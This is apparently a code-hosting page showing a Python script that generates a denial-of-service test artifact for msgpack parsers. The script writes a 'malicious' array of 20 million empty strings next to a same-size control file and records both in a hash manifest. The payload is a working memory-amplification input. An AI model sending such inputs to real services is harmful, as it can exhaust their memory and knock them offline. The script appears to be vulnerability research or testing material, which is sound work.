File size: 1,617 Bytes
d20cb72
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
#!/usr/bin/env python3
from __future__ import annotations

import hashlib
import json
from pathlib import Path

import msgpack


ROOT = Path(__file__).resolve().parent
ARTIFACTS = ROOT / "artifacts"
ENTRY_COUNT = 20_000_000


def sha256(path: Path) -> str:
    return hashlib.sha256(path.read_bytes()).hexdigest()


def main() -> int:
    ARTIFACTS.mkdir(parents=True, exist_ok=True)

    malicious = msgpack.packb([""] * ENTRY_COUNT, use_bin_type=True)
    control = msgpack.packb(b"A" * (len(malicious) - 5), use_bin_type=True)

    control_path = ARTIFACTS / "control_bin32_same_size.msgpack"
    malicious_path = ARTIFACTS / "malicious_array32_empty_strings_20000000.msgpack"
    control_path.write_bytes(control)
    malicious_path.write_bytes(malicious)

    manifest = {
        "msgpack": msgpack.__version__,
        "entry_count": ENTRY_COUNT,
        "control": {
            "path": str(control_path),
            "size": control_path.stat().st_size,
            "sha256": sha256(control_path),
            "type": "bin32",
        },
        "malicious": {
            "path": str(malicious_path),
            "size": malicious_path.stat().st_size,
            "sha256": sha256(malicious_path),
            "type": "array32",
            "element_count": ENTRY_COUNT,
            "element_value": "",
        },
        "same_size_files": control_path.stat().st_size == malicious_path.stat().st_size,
    }
    (ARTIFACTS / "manifest.json").write_text(json.dumps(manifest, indent=2) + "\n")
    print(json.dumps(manifest, indent=2))
    return 0


if __name__ == "__main__":
    raise SystemExit(main())